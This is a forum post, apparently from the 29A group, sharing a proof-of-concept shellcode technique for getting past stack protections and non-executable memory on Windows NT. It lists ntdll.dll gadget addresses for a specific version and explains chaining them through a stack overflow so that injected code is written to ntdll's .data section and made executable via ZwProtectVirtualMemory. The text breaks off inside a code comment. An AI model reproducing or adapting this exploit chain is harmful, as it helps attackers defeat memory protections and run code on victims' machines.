hi,
im posting here a manner for avoiding stackguard. Shellcode without zeros.

/***************************************************************/
/*Shellcode avoiding stack protections sample--------Vallez/29a*/
/***************************************************************/

/*
All we have listened about stack protections. Security products are protecting stacks of code executed there. New
hardware too, that will not let you to execute code in a not executable memory (amd64 for example).

Doing shellcodes avoiding this fact is not very complex, as i will show with this small sample.

The idea is to use pieces of code of dlls for example. In this code im using pieces of code of ntdll for doing my
purposes. How? Easy, with the stack overflow we will leave in the stack ret addresses for conduction our thread
to code in ntdll.dll. Exactly we are using these codes in ntdll:

-------------------------------------------------------------------------------------------

.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004

-------------------------------------------------------------------------------------------

.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
.784635EF: 5E pop esi
.784635F0: C3 retn

-------------------------------------------------------------------------------------------

.7849DA92: 0FC8 bswap eax
.7849DA94: C3 retn

-------------------------------------------------------------------------------------------

.784680DA: CD2E int 02E
.784680DC: C3 retn

-------------------------------------------------------------------------------------------

.784AFAAD: pop eax
           retn

-------------------------------------------------------------------------------------------

.7846BBE8: pop ecx
           retn

-------------------------------------------------------------------------------------------

.784633AF: sub eax,ecx
           sar eax,1
           dec eax
           retn

-------------------------------------------------------------------------------------------

.78466b22: sub eax,ecx
           pop edi
           pop esi
           pop ebx
           retn c

-------------------------------------------------------------------------------------------

.78499442: pop edx
           retn

This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with
visual studio 6.0 in debug and default options for the project. (really,only open the
.c with visual studio and F7,and yes,yes...

#define DEBUGZ

#ifdef DEBUGZ

/*
  for debugging we have activated DEBUGZ for giving the shellcode directly to

 This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.
 Its only a Proof of concept about how shellcodes could avoid stack protections.

 This shellcode is not executed in the stack, however it has in the stack the useful values for
 conducting the thread to ntdll code and forcing this code to write executable code to
 ntdll .data section. If today not, in the future all not executable memory will be protected
 against execution, so we call ZwProtectVirtualMemory for setting .data zone where we have writed
 as executable (for this purpose we will dump parameters of the api to .data,in other part,
 and then pointing edx to that parameters and calling int 2e with eax=0x77,the service id.
